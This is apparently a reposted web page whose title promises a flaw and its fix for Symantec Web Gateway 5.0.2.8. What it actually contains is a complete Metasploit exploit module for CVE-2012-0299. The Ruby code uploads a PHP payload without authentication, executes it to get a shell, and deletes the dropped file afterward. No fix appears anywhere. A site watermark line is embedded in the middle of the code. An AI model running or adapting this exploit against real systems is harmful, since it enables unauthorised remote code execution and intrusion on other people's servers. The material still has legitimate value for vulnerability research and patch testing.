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Symantec Web Gateway 5.0.2.8任意php文件上传缺陷及修复

   require 'msf/core'        class Metasploit3 < Msf::Exploit::Remote        Rank = ExcellentRanking             include Msf::Exploit::Remote::HttpClient             def initialize(info={})            super(update_info(info,                'Name'           => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",                'Description'    => %q{                        This module exploits a file upload vulnerability found in Symantec Web Gateway's                    HTTP service. Due to the incorrect use of file extensions in the upload_file()                    function, this allows us to abuse the spywall/blocked_file.php file in order to                    upload a malicious PHP file without any authentication, which results in arbitrary                    code execution.                },                'License'        => MSF_LICENSE,                'Author'         =>                    [                        'Tenable Network Security', # Vulnerability Discovery                        'juan vazquez' # Metasploit module                    ],                'References'     =>                    [                        [ 'CVE', '2012-0299' ],                        [ 'OSVDB', '82025' ],                        [ 'BID', '53443' ],                        [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ],                        [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]                    ],                'Payload'        =>                    {                        'BadChars' => "\x00"                   },                'DefaultOptions'  =>                    {                        'ExitFunction' => "none"                   },                'Platform'       => ['php'],                'Arch'           => ARCH_PHP,                'Targets'        =>                    [                        ['Symantec Web Gateway 5.0.2.8', {}],                    ],                'Privileged'     => false,                'DisclosureDate' => "May 17 2012",                'DefaultTarget'  => 0))        end                 def check            res = send_request_raw({                'method' => 'GET',                'uri'    => '/spywall/login.php'           })                 if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/                return Exploit::CheckCode::Detected            else               return Exploit::CheckCode::Safe            end       end            def on_new_session(client)            if client.type == "meterpreter"               client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")                client.fs.file.rm("temp.php")            else               client.shell_command_token("rm temp.php")            end       end            def exploit            uri = target_uri.path            uri << '/' if uri[-1,1] != '/'      www.2cto.com           peer = "#{rhost}:#{rport}"           payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'           before_filename = rand_text_alpha(rand(10) + 5)            after_filename = rand_text_alpha(rand(10) + 5)                 post_data = Rex::MIME::Message.new           post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"")            post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"")            post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"")            post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"")                 print_status("#{peer} - Sending PHP payload (#{payload_name})")            res = send_request_cgi({                'method' => 'POST',                'uri'    => "#{uri}spywall/blocked_file.php",                'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",                'data'   => post_data.to_s            })                 # If the server returns 200 and the body contains the name            # of the default file, we assume we uploaded the malicious            # file successfully            if not res or res.code != 200 or res.body !~ /temp.php/                print_error("#{peer} - File wasn't uploaded, aborting!")                return           end                print_status("#{peer} - Executing PHP payload (#{payload_name})")            # Execute our payload            res = send_request_cgi({                'method' => 'GET',                'uri'    => "#{uri}spywall/images/upload/temp/temp.php"           })                 # If we don't get a 200 when we request our malicious payload, we suspect            # we don't have a shell, either.  Print the status code for debugging purposes.            if res and res.code != 200               print_status("#{peer} - Server returned #{res.code.to_s}")            end       end        end

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